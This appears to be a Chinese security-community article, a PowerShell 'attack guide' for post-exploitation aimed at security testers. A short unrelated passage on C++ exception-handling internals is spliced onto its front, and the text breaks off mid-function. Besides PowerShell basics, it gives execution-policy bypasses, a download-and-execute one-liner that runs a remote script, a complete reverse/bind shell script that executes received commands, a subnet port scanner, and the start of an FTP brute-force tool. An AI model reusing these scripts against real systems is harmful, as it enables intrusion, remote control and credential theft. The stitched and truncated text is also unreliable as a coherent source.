通过 ttypeIndex 查到对应 typeinfo 的逻辑在 `get_shim_type_info` 函数中。 在本例中， ttypeIndex
简单对应 `classInfo` 表的下标，表中的每项编码方式为 `ttypeEncoding = 0x9B` 。`classInfo`
是倒序存储的，表的第一项在最高地址处，第二项在第一项 -4 的地址处，以此类推。表格解析如下：
例如，ttypeIndex = 4 对应表格第四项，即 0x407114 地址处的四字节编码地址。解码后地址值为 0x404028，存储着
`std::Exception` 的`typeInfo`地址。
至此，我们已经可以通过解析 LSDA 获得每个函数的每个 `try` 块区域的
地址、对应catch块群地址、catch块群能解析的异常类型、以及每个`catch`块能处理的异常类型对应的 ttypeIndex。
最后，通过逆向与调试可以知道，在从`throw`返回到 `catch` 块群起始地址时， Runtime 至少要准备好 rax、rdx
两个寄存器的值，分别设置为：被抛出的异常对象的`unwind_exception`成员的内存地址、捕获异常的`catch`块的编号（即上文中所说的类编号）。而
这个类编号，其实就是对应的 ttypeIndex 的值（见下文解释）。
在 `__gxx_personality_imp` 函数中，如果 `scan_eh_tab` 的返回值指示返回原因为
`_URC_HANDLER_FOUND`，且当前在第二阶段，则设置`context`对象中 _函数返回值寄存器组_ 中 编号为0的寄存器（x86 架构下是
rax）的值为`unwind_exception`异常对象地址；编号为1的寄存器（x86架构下为 rdx）的值为 ttypeIndex 值。
static _Unwind_Reason_Code
__gxx_personality_imp{
......
// In other cases we need to scan LSDA.
scan_eh_tab(results, actions, native_exception, unwind_exception, context);
if (results.reason == _URC_CONTINUE_UNWIND ||
results.reason == _URC_FATAL_PHASE1_ERROR)
return results.reason;
if (actions & _UA_SEARCH_PHASE)
{
......
}
assert(actions & _UA_CLEANUP_PHASE);
assert(results.reason == _URC_HANDLER_FOUND);
set_registers(unwind_exception, context, results);
return _URC_INSTALL_CONTEXT;
}
static
void
set_registers(_Unwind_Exception* unwind_exception, _Unwind_Context* context,
const scan_results& results)
{
#if defined(__USING_SJLJ_EXCEPTIONS__)
#define __builtin_eh_return_data_regno(regno) regno
#endif
_Unwind_SetGR(context, __builtin_eh_return_data_regno(0),
reinterpret_cast<uintptr_t>(unwind_exception));
_Unwind_SetGR(context, __builtin_eh_return_data_regno(1),
static_cast<uintptr_t>(results.ttypeIndex));
_Unwind_SetIP(context, results.landingPad);
}
这里 `context` 对象中的虚拟寄存器值会在 `cxa_throw` 最终返回到 `catch` 块等用户代码时恢复到机器寄存器上。 | 社区文章 |
# Powershell攻击指南黑客后渗透之道系列——基础篇
##### 译文声明
本文是翻译文章，文章原作者 香山
译文仅供参考，具体内容表达以及含义原文为准。
作者：[香山](https://www.anquanke.com/member/122354)
预估稿费：800RMB
**（本篇文章享受双倍稿费 活动链接请**[ **点击此处**](http://bobao.360.cn/news/detail/4370.html)
**）**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**此为Powershell攻击指南——黑客后渗透之道系列的第一篇基础篇。此后每两天更新一篇，敬请期待！**
## 传送门
[Powershell攻击指南黑客后渗透之道系列——进阶利用](https://www.anquanke.com/post/id/88851)
[Powershell攻击指南黑客后渗透之道系列——实战篇](https://www.anquanke.com/post/id/89362)
# 前言
>
> 一段时间以来研究Powershell，后来应朋友们对Powershell的需求，让我写一个Powershell安全入门或者介绍方面的文章，所以这篇文章就出现了。但又因为各种各样的事情搞得有些拖延，同时作者文笔不好，文章可能有不流畅的地方，还请多多见谅。这里做一些总结，来让新人对此有个大致了解，能对Powershell或是内网有更多的理解。开始之前也要感谢红线安全团队的资深安全专家[@城哥](http://triplekill.org)和朋友[x403258](http://blog.exist1ng.com)在我写文过程中的帮助。
>
> 那么开始之前我们先来思考一下powershell一个常见的问题，那么我们知道powershell的后缀是ps1，哪为什么是ps1而不是ps2,ps3呢？那么理解这个问题呢我们可以看看powershell的特性，powershell是对下完全兼容的，也就是说你使用powershell
> 5.x的版本来执行powershell
> v1.0的代码也是完全没有问题的。那么我个人理解一下为什么是ps1，可以这么说，当我们见到ps2后缀之时就是powershell进行大的更新，也就是不对下兼容的时候，所以这里一直是使用ps1后缀。
>
> 那么对于我们的安全人员来说我们用什么版本呢？毫无疑问是v2,为什么呢，应为在win7当中默认安装了v2,而且之后的版本都是兼容v2的，v1版本所有的功能对于我们的需求很多都不能满足，所以v2成为了我们目前来说独一无二的选择，通过下面的方式我们可以看到我们的powershell的版本与一些详细的信息，后面我们的代码，大多都是以v2.0来讨论的。
`Get-Host`
Name : ConsoleHost
Version : 2.0
InstanceId : 388599a6-35cd-4bba-bedb-cf00d2a39389
UI : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture : zh-CN
CurrentUICulture : en-US
PrivateData : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
IsRunspacePushed : False
Runspace : System.Management.Automation.Runspaces.LocalRunspace
对于安全人员学习ps主要有以下两个场景：
1. 第一种我们需要获得免杀或者更好的隐蔽攻击对方的win机器，可以通过钓鱼等方式直接执行命令
2. 第二种我们已经到了对方网络，再不济也是一台DMZ的win-server，那么我们利用ps做的事情那么自然而然的是对内网继续深入
那么本powershell系列主要是内容涉及和安全测试相关的内容，所以面向的读者主要是安全或者运维人员，不管你是在网络世界中扮演什么角色，在这里应该是能收获到你想要的。文章主要包含下面一些内容:
1. powershell基础语法
2. powershell脚本编写与调用执行
3. powershell的Socket编程
4. powershell端口扫描与服务爆破
5. powershell多线程
6. powershell操作wmi
7. powershell操作win32API
8. powershell操作Dll注入&shellcode注入&exe注入
9. powershell混淆
10. powershell事件日志
11. powershell实例使用场景
12. Powershell渗透工具集
# powershell(2)-基础
>
> 本节主要讲一下关于powershell一些简单的基础知识，推荐网站<http://www.pstips.net/>学习Powershell的一些基础知识这里是一些简单的基础，写的可能有些简陋，这里可能需要你有一些编程语言的基础就能看懂啦，这里对于后面的代码分析是非常有用的，所以还是希望大家简单的浏览一下基础知识。
## 变量
变量都是以`$`开头, 是强类型语言, 语言是大小写不敏感的
提一提变量保护与常量的声明：`New-Variable num -Value 100 -Force -Option
readonly`这样就得到一个受保护的变量`$num`，如果要销毁它只能通过`del $num`删除。如果要声明常量则用`New-Variable num
-Value 100 -Force -Option readonlyNew-Variable num -Value 100 -Force -Option
constant`
## 数组
### 数组的创建：
数组的创建可以通过下面五种方式来创建，在适当的条件下选择适当的方式创建即可
$array = 1,2,3,4
$array = 1..4
$array=1,"2017",([System.Guid]::NewGuid()),(get-date)
$a=@() # 空数组
$a=,"1" # 一个元素的数组
### 数组的访问
数组的访问和C类似，第一位元素实用下标0来访问即`$array[0]`,我们来看看ipconfig获取到的数据
$ip = ipconfig
$ip[1] # 获取ipconfig第二行的数据
### 数组的判断
`$test -is [array]`
### 数组的追加:
`$books += "元素4"`
## 哈希表
### 哈希表的创建：
`$stu=@{ Name = "test";Age="12";sex="man" }`
### 哈希表里存数组：
`$stu=@{ Name = "hei";Age="12";sex="man";Books="kali","sqlmap","powershell" }`
### 哈希表的插入与删除:
$Student=@{}
$Student.Name="hahaha"
$stu.Remove("Name")
## 对象
在powershell中一切都可以视为对象，包罗万象New-Object可以创建一个对象Add-Member可以添加属性和方法
## 控制语句
### 条件判断
#### 比较运算符
-eq ：等于
-ne ：不等于
-gt ：大于
-ge ：大于等于
-lt ：小于
-le ：小于等于
-contains ：包含
$array -contains something
-notcontains :不包含
!($a): 求反
-and ：和
-or ：或
-xor ：异或
-not ：逆
#### if-else
if-else:
if($value -eq 1){
code1
}else{
code2
}
### 循环语句
#### while
while($n -gt 0){
code
}
#### for
$sum=0
for($i=1;$i -le 100;$i++)
{
$sum+=$i
}
$sum
#### foreach
# 打印出windows目录下大于1mb的文件名
foreach($file in dir c:windows)
{
if($file.Length -gt 1mb)
{
$File.Name
}
}
#### foreach-object
# 获取所有的服务，并获取对呀进程ID是否大于100
Get-WmiObject Win32_Service | ForEach-Object {"Name:"+ $_.DisplayName, ", Is ProcessId more than 100:" + ($_.ProcessId -gt 100)}
## 函数
function Invoke-PortScan {
<#
.SYNOPSIS
简介
.DESCRIPTION
描述
.PARAMETER StartAddress
参数
.PARAMETER EndAddress
参数
.EXAMPLE
PS > Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254
用例
#>
code
}
## 异常处理
Try{
$connection.open()
$success = $true
}Catch{
$success = $false
}
# Powershell(3)-脚本执行基础
## 开始之前
我们在开始之前先来介绍在windows平台中常用到的几种脚本
### Bat
这就是我们常用的Bat脚本，全名为批处理文件，脚本中就是我们在CMD中使用到的命令，这里提一个小问题：CMD的命令行执行命令的优先级是`.bat >
.exe`，那么假如我放一个cmd.bat在system32目录下，那么优先执行的是cmd.bat，这里面的内容就变得不可描述起来了
### VBscript
执行vbs就是常说的vbscript,是微软为了方便自动化管理windows而推出的脚本语言，这里了解一下即可，不是文章重点。
一个小例子通过vbs操作WMI
Set wmi = GetObject("winmgmts:")
Set collection = wmi.ExecQuery("select * from Win32_Process")
For Each process in collection
WScript.Echo process.getObjectText_
Next
## Powershell
这就是我们的主角，在现在和未来一定是powershell占据主要地位(对于这一点搞Win多一点的朋友一定不会怀疑)，首先我们来看一个简单的例子
script.ps1:
# 脚本内容
function test-conn { Test-Connection -Count 2 -ComputerName $args}
# 载入脚本文件
.script.ps1
# 调用函数
test-conn localhost
### Powershell执行策略
那么你可能会在调用脚本的时候出现报错，这是powershell的安全执行策略，下面我们来了解一下执行策略：PowerShell 提供了
Restricted、AllSigned、RemoteSigned、Unrestricted、Bypass、Undefined
六种类型的执行策略简单介绍各种策略如下：
名称 | 说明
---|---
Restricted | 受限制的，可以执行单个的命令，但是不能执行脚本Windows 8, Windows Server 2012, and
Windows 8.1中默认就是这种策略，所以是不能执行脚本的，执行就会报错，那么如何才能执行呢？Set-ExecutionPolicy
-ExecutionPolicy Bypass就是设置策略为Bypass这样就可以执行脚本了。
AllSigned | AllSigned 执行策略允许执行所有具有数字签名的脚本
RemoteSigned |
当执行从网络上下载的脚本时，需要脚本具有数字签名，否则不会运行这个脚本。如果是在本地创建的脚本则可以直接执行，不要求脚本具有数字签名。
Unrestricted | 这是一种比较宽容的策略，允许运行未签名的脚本。对于从网络上下载的脚本，在运行前会进行安全性提示。需要你确认是否执行脚本
Bypass | Bypass 执行策略对脚本的执行不设任何的限制，任何脚本都可以执行，并且不会有安全性提示。
Undefined | Undefined 表示没有设置脚本策略。当然此时会发生继承或应用默认的脚本策略。
那么我们如何绕过这些安全策略呢？下面提供几种方法，网上还有很多的绕过方法，大家可以自行研究：
名称 | 说明
---|---
Get-ExecutionPolicy | 获取当前的执行策略
Get-Content .test.ps1 | powershell.exe -noprofile – | 通过管道输入进ps
powershell -nop -c “iex(New-Object
Net.WebClient).DownloadString(‘<http://192.168.1.2/test.ps1>‘)” |
通过远程下载脚本来绕过|bytes = [System.Text.Encoding]::Unicode.GetBytes(encodedCommand
=[Convert]::ToBase64String(encodedCommand|通过BASE64编码执行|
### powershell的脚本调用方法：
1. 如果脚本是直接写的代码而不是只定义了函数那么直接执行脚本.script.ps1即可
2. 但是如果是载入里面的函数需要`.+空格+.script.ps1`
3. 或者使用Import-Module .script.ps1, 这样才能直接使用脚本的函数
## 通过控制台执行Powershell
对于我们安全测试人员通常获取到的一个Shell是CMD的, 那么我们想要尽可能少的操作就可以直接通过控制台来执行powershell的命令,
那么先来看一个简单的例子:
可以看到我们通过CMD界面执行了Powershell的代码, 那么其实这样的执行方式在真实的安全测试环境中利用更多,
下面是一个Powershell通过这种方式执行的所有可选的参数:
PowerShell[.exe]
[-PSConsoleFile <file> | -Version <version>]
[-EncodedCommand <Base64EncodedCommand>]
[-ExecutionPolicy <ExecutionPolicy>]
[-File <filePath> <args>]
[-InputFormat {Text | XML}]
[-NoExit]
[-NoLogo]
[-NonInteractive]
[-NoProfile]
[-OutputFormat {Text | XML}]
[-Sta]
[-WindowStyle <style>]
[-Command { - | <script-block> [-args <arg-array>]
| <string> [<CommandParameters>] } ]
PowerShell[.exe] -Help | -? | /?
名称 | 解释
---|---
-Command | 需要执行的代码
-ExecutionPolicy | 设置默认的执行策略，一般使用Bypass
-EncodedCommand | 执行Base64代码
-File | 这是需要执行的脚本名
-NoExit | 执行完成命令之后不会立即退出，比如我们执行powerhsell whoami 执行完成之后会推出我们的PS会话，如果我们加上这个参数，运行完之后还是会继续停留在PS的界面
-NoLogo | 不输出PS的Banner信息
-Noninteractive | 不开启交互式的会话
-NoProfile | 不使用当前用户使用的配置文件
-Sta | 以单线程模式启动ps
-Version | 设置用什么版本去执行代码
-WindowStyle | 设置Powershell的执行窗口，有下面的参数Normal, Minimized, Maximized, or Hidden
最后举一个执行Base64代码的例子:
1. 我们先试用上面一个表格提到的编码代码编码命令`whoami`, 得到字符串:`dwBoAG8AYQBtAGkACgA=`
2. 通过下面的命令来执行代码
powershell -EncodedCommand dwBoAG8AYQBtAGkACgA=
那么这种需求在什么地方呢? 比如我们的代码特别长或者会引起一起歧义的时候就需要我们使用这种方式去执行, 同时也是一个混淆的方式。
# Powershell(4)-Socket网络编程
>
> 这一小节我们介绍Powershell中的Socket编程，网络编程是所有语言中绕不开的核心点，下面我们通过对代码的分析来让大家对PS中的Socket有一个初步的了解。
## Socket-Tcp编程
开始之前我们先想想为什么要学习socket编程，那么最直观的是端口扫描，那么还有可能是反弹shell之类的应用。进行Socket编程只需要调用.Net框架即可，这里先使用TCP来示例:
这里是去打开一个TCP连接到本地的21端口，并获取21端口返回的Banner信息，其中GetOutput函数看不了可以先不看,其用来获取stream中的数据，主要看Main函数内容：
Tcp-Demo.ps1
function GetOutput
{
## 创建一个缓冲区获取数据
$buffer = new-object System.Byte[] 1024
$encoding = new-object System.Text.AsciiEncoding
$outputBuffer = ""
$findMore = $false
## 从stream读取所有的数据，写到输出缓冲区
do{
start-sleep -m 1000
$findmore = $false
# 读取Timeout
$stream.ReadTimeout = 1000
do{
try {
$read = $stream.Read($buffer, 0, 1024)
if($read -gt 0){
$findmore = $true
$outputBuffer += ($encoding.GetString($buffer, 0, $read))
}
} catch { $findMore = $false; $read = 0 }
} while($read -gt 0)
} while($findmore)
$outputBuffer
}
function Main{
# 定义主机和端口
$remoteHost = "127.0.0.1"
$port = 21
# 定义连接Host与Port
$socket = new-object System.Net.Sockets.TcpClient($remoteHost, $port)
# 进行连接
$stream = $socket.GetStream()
# 获取Stream
$writer = new-object System.IO.StreamWriter $stream
# 创建IO对象
$SCRIPT:output += GetOutput
# 声明变量
if($output){
# 输出
foreach($line in $output.Split("`n"))
{
write-host $line
}
$SCRIPT:output = ""
}
}
. Main
我们来看看输出结果：
PS C:UsersrootclayDesktoppowershell> . .Tcp-Demo.ps1
220 Microsoft FTP Service
这样就打开了21端口的连接，并且获取到了21端口的banner信息。那么有过端口扫描编写的朋友肯定已经看到了，这种方式是直接打开连接，并不能获取到一些需要发包才能返回banner的端口信息，典型的80端口就是如此，我们需要给80端口发送特定的信息才能得到Response,
当然还有许多类似的端口，比如3389端口, 下面我们来看看我们如何使用powershell实现这项功能.
Tcp-Demo2.ps1
function GetOutput
{
... # 代码和上面的一样
}
function Main{
# 定义主机和端口
$remoteHost = "127.0.0.1"
$port = 80
# 定义连接Host与Port
$socket = new-object System.Net.Sockets.TcpClient($remoteHost, $port)
# 进行连接
$stream = $socket.GetStream()
# 获取Stream
$writer = new-object System.IO.StreamWriter $stream
# 创建IO对象
$SCRIPT:output += GetOutput
# 声明变量, userInput为要发包的内容,这里我们需要发送一个GET请求给Server
$userInput = "GET / HTTP/1.1 `nHost: localhost `n`n"
# 定义发包内容
foreach($line in $userInput)
{
# 发送数据
$writer.WriteLine($line)
$writer.Flush()
$SCRIPT:output += GetOutput
}
if($output){
# 输出
foreach($line in $output.Split("`n"))
{
write-host $line
}
$SCRIPT:output = ""
}
}
. Main
我们来看看输出:
PS C:UsersrootclayDesktoppowershell> . .Tcp-Demo2.ps1
HTTP/1.1 200 OK
Content-Type: text/html
Accept-Ranges: bytes
ETag: "5e26ec16b73ad31:0"
Server: Microsoft-IIS/7.5
Content-Length: 689
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>IIS7</title>
<style type="text/css">
</style>
</head>
<body>
...
</body>
</html>
我们下面对这项功能进行一个整合：我们可以发包给一个端口，也可以直接连接一个端口，这里已经实现TCP，http，https三种常见协议的访问
########################################
## Tcp-Request.ps1
##
## Example1:
##
## $http = @"
## GET / HTTP/1.1
## Host:127.0.0.1
## `n`n
## "@
##
## `n 在Powershell中代表换行符
## $http | .Tcp-Request localhost 80
##
## Example2:
## .Tcp-Request localhost 80
########################################
## 管理参数输入param()数组
param(
[string] $remoteHost = "localhost",
[int] $port = 80,
[switch] $UseSSL,
[string] $inputObject,
[int] $commandDelay = 100
)
[string] $output = ""
## 获取用户输入模式
$currentInput = $inputObject
if(-not $currentInput)
{
$SCRIPT:currentInput = @($input)
}
# 脚本模式开关, 如果脚本能读取到输入, 使用发包模式, 如果没有输入使用TCP直连模式
$scriptedMode = [bool] $currentInput
function Main
{
## 打开socket连接远程机器和端口
if(-not $scriptedMode)
{
write-host "Connecting to $remoteHost on port $port"
}
## 异常追踪
trap { Write-Error "Could not connect to remote computer: $_"; exit }
$socket = new-object System.Net.Sockets.TcpClient($remoteHost, $port)
if(-not $scriptedMode)
{
write-host "Connected. Press ^D(Control + D) followed by [ENTER] to exit.`n"
}
$stream = $socket.GetStream()
## 如果有SSl使用SSLStream获取Stream
if($UseSSL)
{
$sslStream = New-Object System.Net.Security.SslStream $stream,$false
$sslStream.AuthenticateAsClient($remoteHost)
$stream = $sslStream
}
$writer = new-object System.IO.StreamWriter $stream
while($true)
{
## 获取得到的Response结果
$SCRIPT:output += GetOutput
## 如果我们使用了管道输入的模式，我们发送我们的命令，再接受输出，并退出
if($scriptedMode)
{
foreach($line in $currentInput)
{
$writer.WriteLine($line)
$writer.Flush()
Start-Sleep -m $commandDelay
$SCRIPT:output += GetOutput
}
break
}
## 如果没有使用事先管道输入的模式直接读取TCP回包
else
{
if($output)
{
# 逐行输出
foreach($line in $output.Split("`n"))
{
write-host $line
}
$SCRIPT:output = ""
}
## 获取用户的输入,如果读取到^D就退出
$command = read-host
if($command -eq ([char] 4)) { break; }
$writer.WriteLine($command)
$writer.Flush()
}
}
## Close the streams
$writer.Close()
$stream.Close()
## 如果我们使用了管道输入的模式,这里输出刚才读取到服务器返回的数据
if($scriptedMode)
{
$output
}
}
## 获取远程服务器的返回数据
function GetOutput
{
## 创建一个缓冲区获取数据
$buffer = new-object System.Byte[] 1024
$encoding = new-object System.Text.AsciiEncoding
$outputBuffer = ""
$findMore = $false
## 从stream读取所有的数据，写到输出缓冲区
do
{
start-sleep -m 1000
$findmore = $false
$stream.ReadTimeout = 1000
do
{
try
{
$read = $stream.Read($buffer, 0, 1024)
if($read -gt 0)
{
$findmore = $true
$outputBuffer += ($encoding.GetString($buffer, 0, $read))
}
} catch { $findMore = $false; $read = 0 }
} while($read -gt 0)
} while($findmore)
$outputBuffer
}
. Main
那么至此我们已经完成了对TCP端口的打开并获取对应的信息，其中很多的关键代码释义我已经详细给出，我们主要以TCP为例，由于UDP应用场景相对于TCP较少，关于UDP的编写可自行编写。这个脚本加以修改就是一个Powershell完成的扫描器了，端口扫描器我们放在下一节来分析，我们这里最后看一个反弹shell的ps脚本,
同样在注释中详细解释了代码块的作用。
function TcpShell{
<#
.DESCRIPTION
一个简单的Shell连接工具, 支持正向与反向
.PARAMETER IPAddress
Ip地址参数
.PARAMETER Port
port参数
.EXAMPLE
反向连接模式
PS > TcpShell -Reverse -IPAddress 192.168.254.226 -Port 4444
.EXAMPLE
正向连接模式
PS > TcpShell -Bind -Port 4444
.EXAMPLE
IPV6地址连接
PS > TcpShell -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
#>
# 参数绑定
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,
[Parameter(ParameterSetName="bind")]
[Switch]
$Bind
)
try
{
# 如果检测到Reverse参数,开启反向连接模式
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}
# 使用正向的连接方式, 绑定本地端口, 用于正向连接
if ($Bind)
{
# Tcp连接监听服务端
$server = [System.Net.Sockets.TcpListener]$Port
# Tcp连接开始
$server.start()
# Tcp开始接受连接
$client = $server.AcceptTcpClient()
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
# 返回给连接的用户一个简单的介绍,目前是使用什么的用户来运行powershell的, 并打印powershell的banner信息
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername +
"`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
# 展示一个交互式的powershell界面
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
# while循环用于死循环,不断开连接
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
# 指定EncodedText为Ascii对象, 用于我们后面的调用来编码
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
# 获取用户的输入
$data = $EncodedText.GetString($bytes,0, $i)
try
{
# 调用Invoke-Expression来执行我们获取到的命令, 并打印获得的结果
# Invoke-Expression会把所有的传入命令当作ps代码执行
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
# 错误追踪
Write-Warning "Execution of command error."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
# 错误打印
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
# 返回结果
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
# 关闭连接
$client.Close()
if ($server)
{
$server.Stop()
}
}
catch
{
# 获取错误信息,并打印
Write-Warning "Something went wrong!."
Write-Error $_
}
}
简单的分析在注释已经提到, 其中`Invoke-Expression -Command`后接的代码都会被看作powershell来执行,
我们来看看正向连接的执行效果, 我们在172.16.50.196机器上执行下面的代码
PS C:Usersrootclay> cd .Desktoppowershell
PS C:UsersrootclayDesktoppowershell> . .Tcp-Shell.ps1
PS C:UsersrootclayDesktoppowershell> TcpShell -bind -port 4444
连接这台机器, 结果如下:
反向类似执行即可
大家可以看到这个脚本的最开始有一大块注释，这些注释无疑是增强脚本可读性的关键，对于一个脚本的功能和用法都有清晰的讲解，那么我们来看看如何写这些注释呢。
<#
.DESCRIPTION
描述区域，主要写你脚本的一些描述、简介等
.PARAMETER IPAddress
参数介绍区域，你可以描述你的脚本参数的详情
.EXAMPLE
用例描述区域, 对于你的脚本的用例用法之类都可以在这里描述
反向连接模式
PS > TcpShell -Reverse -IPAddress 192.168.254.226 -Port 4444
#>
最后我们使用Get-Help命令就能看到我们编辑的这些注释内容：
# powershell(5)-端口扫描与服务爆破
## 端口扫描
这里我们就开始了我们的端口扫描器的构建, 这里很多朋友肯定会说,
端口扫描不是有很多已经很成熟的脚本了么为什么还要去学习呢？那么我们首先想一想目前的一些优秀的端口扫描都是Python或者Go语言等进行编写的,
对于我们安全测试人员来说并不是最佳选择。因为对于Windows系统Python之类的环境并不是每一台电脑都有,
但Powershell不同我们不需要进行过多的操作即可进行丰富的操作, 这也是我们作为专业安全人员的基本素养: 尽可能进行少的操作,
因为你无法删除你所有的行踪, 物质守恒定律—没有人能确保自己不留任何痕迹, 那么越少的操作无疑是我们需要思考的。 端口扫描脚本已经直接放在了下面,
同样大部分的注释等已经写的很清晰, 本脚本涉及到的几个点：
1. 脚本参数的问题的解决, 可以看到我们的参数获取用了CmdletBinding的方法，这样我们可以设置参数的形式就有很多了, 比如我们需要一个参数是否可选，和参数的位置等
2. 主机存活检测使用Ping来检测(ICMP)
3. 端口扫描调用.NET的Socket来进行端口连接，如果连接建立代表端口连接成功
function PortScan {
<#
.DESCRIPTION
端口扫描
.PARAMETER StartAddress
Ip开始地址 Range
.PARAMETER EndAddress
Ip结束地址 Range
.PARAMETER GetHost
解析获取主机名 HostName
.PARAMETER ScanPort
端口扫描参数, 若不打开就是主机存活的探测 PortScan
.PARAMETER Ports
需要扫描的端口，默认有: 21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086,
1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778,8000,8001,
8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030
.PARAMETER TimeOut
TimeOut 默认是10s TimeOut 100
.EXAMPLE
PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254
.EXAMPLE
PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost
.EXAMPLE
PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost -ScanPort
.EXAMPLE
PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost -ScanPort -TimeOut 500
.EXAMPLE
PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost -ScanPort -Port 80
#>
[CmdletBinding()] Param(
[parameter(Mandatory = $true, Position = 0)]
[ValidatePattern("bd{1,3}.d{1,3}.d{1,3}.d{1,3}b")]
[string]
$StartAddress,
[parameter(Mandatory = $true, Position = 1)]
[ValidatePattern("bd{1,3}.d{1,3}.d{1,3}.d{1,3}b")]
[string]
$EndAddress,
[switch]
$GetHost,
[switch]
$ScanPort,
[int[]]
$Ports = @
(21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086,1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778
,8000,8001,8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030),
[int]
$TimeOut = 100
)
Begin {
# 开始之前先调用Ping组件
$ping = New-Object System.Net.Networkinformation.Ping
}
Process {
# 四层循环获取解析IP地址
foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) {
foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) {
foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) {
foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) {
# write-progress用于在shell界面显示一个进度条
write-progress -activity PingSweep -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100)
# 通过Ping命令发送ICMP包探测主机是否存活
$pingStatus = $ping.Send("$a.$b.$c.$d",$TimeOut)
if($pingStatus.Status -eq "Success") {
if($GetHost) {
# 本分支主要解决主机名的问题
# write-progress用于在shell界面显示一个进度条
write-progress -activity GetHost -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100) -
Id 1
# 获取主机名
$getHostEntry = [Net.DNS]::BeginGetHostEntry($pingStatus.Address, $null, $null)
}
if($ScanPort) {
# 定义一个开放的端口数组, 存储开放的端口
$openPorts = @()
for($i = 1; $i -le $ports.Count;$i++) {
$port = $Ports[($i-1)]
# write-progress用于在shell界面显示一个进度条
write-progress -activity PortScan -status "$a.$b.$c.$d" -percentcomplete (($i/($Ports.Count)) * 100) -Id 2
# 定义一个Tcp的客户端
$client = New-Object System.Net.Sockets.TcpClient
# 开始连接
$beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null)
if($client.Connected) {
# 加入开放的端口
$openPorts += $port
} else {
# 等待, 这里用于网络延迟, 防止因为网络原因而没有判断到端口的开放而错失很多机会
Start-Sleep -Milli $TimeOut
if($client.Connected) {
$openPorts += $port
}
}
$client.Close()
}
}
if($GetHost) {
# 获取主机名
$hostName = ([Net.DNS]::EndGetHostEntry([IAsyncResult]$getHostEntry)).HostName
}
# 返回对象-哈希表
New-Object PSObject -Property @{
IPAddress = "$a.$b.$c.$d";
HostName = $hostName;
Ports = $openPorts
} | Select-Object IPAddress, HostName, Ports
}
}
}
}
}
}
End {
# 其他脚本运行结束代码
}
}
我们开看看一个简单的扫描结果:
那么其他扫描模式可自行测试, 可以看到这种扫描是知识单线程模式, 关于多线程的编程我们放在后面再来研究。
## 服务爆破
那么我们进入到服务爆破的阶段, 那么我们端口扫描之后的一步必然就是进行服务的弱点攻击,
对于一些服务比如21FTP和数据库之类的服务进行爆破是安全测试必经的过程, 那么我们来以FTP服务爆破来举例
function Invoke-BruteForce
{
<#
.DESCRIPTION
FTP服务爆破脚本
.PARAMETER Computername
主机名参数
.PARAMETER UserList
用户字典参数
.PARAMETER PasswordList
密码字典参数
.PARAMETER Service
服务名参数
.PARAMETER StopOnSuccess
找到密码时是否退出
.PARAMETER Delay
爆破时间间隔, 默认为0
.EXAMPLE
PS C:UsersrootclayDesktoppowershell> FTP-BruteForce -ComputerName localhost -UserList
C:UsersrootclayDesktoppowershelldictusername.txt -PasswordList
C:UsersrootclayDesktoppowershelldictpass.txt -Service ftp -verbose
#>
[CmdletBinding()] Param(
[Parameter(Mandatory = $true, Position = 0, ValueFromPipeline=$true)]
[Alias("PSComputerName","CN","MachineName","IP","IPAddress","Identity","Url","Ftp","Domain","DistinguishedName")]
[String]
$ComputerName,
